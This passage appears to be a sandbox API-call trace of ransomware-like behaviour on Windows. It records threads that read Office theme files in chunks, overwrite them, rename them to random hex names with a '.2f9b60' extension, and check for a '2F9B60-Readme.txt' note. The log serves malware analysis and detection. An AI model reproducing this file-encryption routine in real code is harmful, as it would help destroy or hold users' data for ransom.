Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.672] WriteFile (in: hFile=0x1574, lpBuffer=0x41e5f0f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33a6fb60, lpOverlapped=0x0 | out: lpBuffer=0x41e5f0f0*, lpNumberOfBytesWritten=0x33a6fb60*=0x3c00, lpOverlapped=0x0) returned 1 [0111.676] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e5f0f0) returned 1 [0111.676] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1ced9400 [0111.676] SetFilePointerEx (in: hFile=0x1574, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0111.676] WriteFile (in: hFile=0x1574, lpBuffer=0x133ce0*, nNumberOfBytesToWrite=0x14e, lpNumberOfBytesWritten=0x33a6fc10, lpOverlapped=0x0 | out: lpBuffer=0x133ce0*, lpNumberOfBytesWritten=0x33a6fc10*=0x14e, lpOverlapped=0x0) returned 1 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7fd0 [0111.679] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7fd0) returned 1 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1c) returned 0x202a7fd0 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a76a0 [0111.679] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7670 [0111.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7670) returned 1 [0111.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.680] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.680] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x39) returned 0x1cd971c0 [0111.680] sprintf (in: _Dest=0x1cd971c0, _Format="%c%c" | out: _Dest="ef") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971c2, _Format="%c%c" | out: _Dest="b4") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971c4, _Format="%c%c" | out: _Dest="6f") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971c6, _Format="%c%c" | out: _Dest="7d") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971c8, _Format="%c%c" | out: _Dest="bc") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971ca, _Format="%c%c" | out: _Dest="0b") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971cc, _Format="%c%c" | out: _Dest="13") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971ce, _Format="%c%c" | out: _Dest="34") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971d0, _Format="%c%c" | out: _Dest="58") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971d2, _Format="%c%c" | out: _Dest="95") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971d4, _Format="%c%c" | out: _Dest="d0") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971d6, _Format="%c%c" | out: _Dest="f1") returned 2 [0111.680] sprintf (in: _Dest=0x1cd971d8, _Format="%c%c" | out: _Dest="07") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971da, _Format="%c%c" | out: _Dest="b7") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971dc, _Format="%c%c" | out: _Dest="44") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971de, _Format="%c%c" | out: _Dest="88") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971e0, _Format="%c%c" | out: _Dest="05") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971e2, _Format="%c%c" | out: _Dest="df") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971e4, _Format="%c%c" | out: _Dest="de") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971e6, _Format="%c%c" | out: _Dest="84") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971e8, _Format="%c%c" | out: _Dest="d1") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971ea, _Format="%c%c" | out: _Dest="f7") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971ec, _Format="%c%c" | out: _Dest="c1") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971ee, _Format="%c%c" | out: _Dest="8a") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971f0, _Format="%c%c" | out: _Dest="4c") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971f2, _Format="%c%c" | out: _Dest="e8") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971f4, _Format="%c%c" | out: _Dest="3f") returned 2 [0111.681] sprintf (in: _Dest=0x1cd971f6, _Format="%c%c" | out: _Dest="26") returned 2 [0111.681] RtlInitAnsiString (in: DestinationString=0x33a6fc88, SourceString="efb46f7dbc0b13345895d0f107b7448805dfde84d1f7c18a4ce83f26" | out: DestinationString="efb46f7dbc0b13345895d0f107b7448805dfde84d1f7c18a4ce83f26") [0111.681] RtlAnsiStringToUnicodeString (in: DestinationString=0x33a6fc58, SourceString="efb46f7dbc0b13345895d0f107b7448805dfde84d1f7c18a4ce83f26", AllocateDestinationString=1 | out: DestinationString="efb46f7dbc0b13345895d0f107b7448805dfde84d1f7c18a4ce83f26") returned 0x0 [0111.681] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x72) returned 0x1b869f40 [0111.682] wcscat (in: _Dest=0x20279df0, _Source="efb46f7dbc0b13" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13" [0111.682] wcscat (in: _Dest=0x20279df0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13.2f9b60" [0111.682] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13.2f9b60", NtPathName=0x33a6fc30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\efb46f7dbc0b13.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0111.682] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xd0) returned 0x1b776af0 [0111.682] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x33a6fcd0, FileInformation=0x1b776af0, Length=0xd0, FileInformationClass=0xa) returned 0x0 [0111.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b776af0) returned 1 [0111.683] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0111.683] NtQueryInformationFile (in: FileHandle=0x1574, IoStatusBlock=0x33a6fc98, FileInformation=0x33a6fca8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33a6fc98, FileInformation=0x33a6fca8) returned 0x0 [0111.683] NtSetInformationFile (FileHandle=0x1574, IoStatusBlock=0x33a6fc98, FileInformation=0x33a6fca8, Length=0x28, FileInformationClass=0x4) returned 0x0 [0111.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.685] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869f40) returned 1 [0111.685] FlushFileBuffers (hFile=0x1574) returned 1 [0111.695] CloseHandle (hObject=0x1574) returned 1 [0111.695] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x20279df0 [0111.696] wcscpy (in: _Dest=0x20279df0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0111.696] wcscat (in: _Dest=0x20279df0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0111.696] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0111.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20279df0) returned 1 [0111.696] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65080) returned 1 Thread: id = 1072 os_tid = 0x1768 [0111.240] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx")) returned 0x20 [0111.241] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx", dwFileAttributes=0x20) returned 1 [0111.241] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\Horizon.eftx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\horizon.eftx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15e0 [0111.241] GetFileSizeEx (in: hFile=0x15e0, lpFileSize=0x33bafbe0 | out: lpFileSize=0x33bafbe0*=211090) returned 1 [0111.241] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x3388e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.242] ReadFile (in: hFile=0x15e0, lpBuffer=0x33bafb60, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x33bafba8, lpOverlapped=0x0 | out: lpBuffer=0x33bafb60*, lpNumberOfBytesRead=0x33bafba8*=0x4, lpOverlapped=0x0) returned 1 [0111.632] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f10 [0111.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7e80 [0111.632] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0111.632] NtQuerySystemTime (in: CurrentTime=0x33bafaa0 | out: CurrentTime=0x33bafaa0*=132462177171010000) returned 0x0 [0111.632] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x478c0d55 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x7222d48e [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x151b4191 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x485280cd [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x22a02152 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x415638f [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x6b6fd7bb [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x367effb5 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x67bfb964 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x2930ada4 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x4c20a89f [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x64907ba2 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x20bff715 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x136aa8ef [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x78bba599 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x56afac57 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x4a089daf [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x29a32dde [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x40291b20 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x37fe4447 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x69b45930 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x71fee800 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x4c2530c0 [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x15be915a [0111.633] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0xab163c1 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x7e2070d8 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x39b78b48 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x64d67658 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0xc8dd6a [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x4e972fb0 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x7dbc8b26 [0111.634] RtlRandomEx (in: Seed=0x33bafa90 | out: Seed=0x33bafa90) returned 0x1f83fc88 [0111.645] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.645] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33bafb00, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x33bafb00*=0x3c00, lpOverlapped=0x0) returned 1 [0111.650] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd971c0 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86a1c0 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f10 [0111.650] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7f10) returned 1 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e84990 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7f10 [0111.650] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0111.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0111.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86a1c0) returned 1 [0111.651] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd971c0) returned 1 [0111.651] WriteFile (in: hFile=0x15e0, lpBuffer=0x41e84990*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33bafb00, lpOverlapped=0x0 | out: lpBuffer=0x41e84990*, lpNumberOfBytesWritten=0x33bafb00*=0x3c00, lpOverlapped=0x0) returned 1 [0147.891] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e84990) returned 1 [0147.891] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0147.891] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33bafb00, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x33bafb00*=0x3c00, lpOverlapped=0x0) returned 1 [0148.011] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c3f0 [0148.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ea10 [0148.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0148.011] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a7eb0) returned 1 [0148.011] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41e75950 [0148.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a7eb0 [0148.012] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202a71f0 [0148.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a71f0) returned 1 [0148.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ea10) returned 1 [0148.012] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c3f0) returned 1 [0148.012] WriteFile (hFile=0x15e0, lpBuffer=0x41e75950, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33bafb00, lpOverlapped=0x0) [0179.933] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41e75950) returned 1 [0179.933] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x2fc92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0179.933] ReadFile (in: hFile=0x15e0, lpBuffer=0x41e8c1b0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x33bafb00, lpOverlapped=0x0 | out: lpBuffer=0x41e8c1b0*, lpNumberOfBytesRead=0x33bafb00*=0x3c00, lpOverlapped=0x0) returned 1 [0182.046] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x2fc92, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0182.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x42058c90 [0182.046] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42061db0 [0182.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef10 [0182.047] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef10) returned 1 [0182.047] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x43030190 [0182.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef10 [0182.048] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42d2ef40 [0182.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42d2ef40) returned 1 [0182.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42061db0) returned 1 [0182.049] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42058c90) returned 1 [0182.049] WriteFile (in: hFile=0x15e0, lpBuffer=0x43030190*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x33bafb00, lpOverlapped=0x0 | out: lpBuffer=0x43030190*, lpNumberOfBytesWritten=0x33bafb00*=0x3c00, lpOverlapped=0x0) returned 1 [0198.801] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43030190) returned 1 [0198.801] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x4309fc20 [0198.802] SetFilePointerEx (in: hFile=0x15e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0198.802] WriteFile (in: hFile=0x15e0, lpBuffer=0x431f54e0*, nNumberOfBytesToWrite=0x14a, lpNumberOfBytesWritten=0x33bafbb0, lpOverlapped=0x0 | out: lpBuffer=0x431f54e0*, lpNumberOfBytesWritten=0x33bafbb0*=0x14a, lpOverlapped=0x0) returned 1 [0203.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420596a0 [0203.758] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42307e00 [0203.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0203.759] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefe0) returned 1 [0203.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x42c0f120 [0203.759] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefe0 [0203.760] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x204fefb0 [0203.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x204fefb0) returned 1 [0203.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42307e00) returned 1 [0203.761] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420596a0) returned 1 [0203.761] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x31) returned 0x1ce5e270 [0203.762] sprintf (in: _Dest=0x1ce5e270, _Format="%c%c" | out: _Dest="61") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e272, _Format="%c%c" | out: _Dest="15") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e274, _Format="%c%c" | out: _Dest="f3") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e276, _Format="%c%c" | out: _Dest="04") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e278, _Format="%c%c" | out: _Dest="dc") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e27a, _Format="%c%c" | out: _Dest="90") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e27c, _Format="%c%c" | out: _Dest="76") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e27e, _Format="%c%c" | out: _Dest="b4") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e280, _Format="%c%c" | out: _Dest="00") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e282, _Format="%c%c" | out: _Dest="41") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e284, _Format="%c%c" | out: _Dest="c7") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e286, _Format="%c%c" | out: _Dest="2f") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e288, _Format="%c%c" | out: _Dest="91") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e28a, _Format="%c%c" | out: _Dest="a8") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e28c, _Format="%c%c" | out: _Dest="3b") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e28e, _Format="%c%c" | out: _Dest="20") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e290, _Format="%c%c" | out: _Dest="16") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e292, _Format="%c%c" | out: _Dest="85") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e294, _Format="%c%c" | out: _Dest="b3") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e296, _Format="%c%c" | out: _Dest="46") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e298, _Format="%c%c" | out: _Dest="55") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e29a, _Format="%c%c" | out: _Dest="a4") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e29c, _Format="%c%c" | out: _Dest="34") returned 2 [0203.762] sprintf (in: _Dest=0x1ce5e29e, _Format="%c%c" | out: _Dest="9b") returned 2 [0203.762] RtlInitAnsiString (in: DestinationString=0x33bafc28, SourceString="6115f304dc9076b40041c72f91a83b201685b34655a4349b" | out: DestinationString="6115f304dc9076b40041c72f91a83b201685b34655a4349b") [0203.763] RtlAnsiStringToUnicodeString (in: DestinationString=0x33bafbf8, SourceString="6115f304dc9076b40041c72f91a83b201685b34655a4349b", AllocateDestinationString=1 | out: DestinationString="6115f304dc9076b40041c72f91a83b201685b34655a4349b") returned 0x0 [0203.763] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x62) returned 0x4309fb40 [0203.763] wcscat (in: _Dest=0x4311b560, _Source="6115f304dc90" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90" [0203.763] wcscat (in: _Dest=0x4311b560, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90.2f9b60" [0203.764] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90.2f9b60", NtPathName=0x33bafbd0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\6115f304dc90.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0203.764] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xcc) returned 0x43156c60 [0207.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43156c60) returned 1 [0207.726] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43224160) returned 1 [0207.726] NtQueryInformationFile (in: FileHandle=0x15e0, IoStatusBlock=0x33bafc38, FileInformation=0x33bafc48, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x33bafc38, FileInformation=0x33bafc48) returned 0x0 [0207.726] NtSetInformationFile (FileHandle=0x15e0, IoStatusBlock=0x33bafc38, FileInformation=0x33bafc48, Length=0x28, FileInformationClass=0x4) returned 0x0 [0209.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4311b560) returned 1 [0209.433] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4309fb40) returned 1 [0209.433] FlushFileBuffers (hFile=0x15e0) returned 1 [0209.439] CloseHandle (hObject=0x15e0) returned 1 [0216.312] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xac) returned 0x4312b0e0 [0216.312] wcscpy (in: _Dest=0x4312b0e0, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\" [0216.312] wcscat (in: _Dest=0x4312b0e0, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" [0216.313] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Effects\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme effects\\2f9b60-readme.txt")) returned 0x20 [0216.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4312b0e0) returned 1 [0216.313] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65130) returned 1 Thread: id = 1073 os_tid = 0x1790 [0111.248] GetFileAttributesW 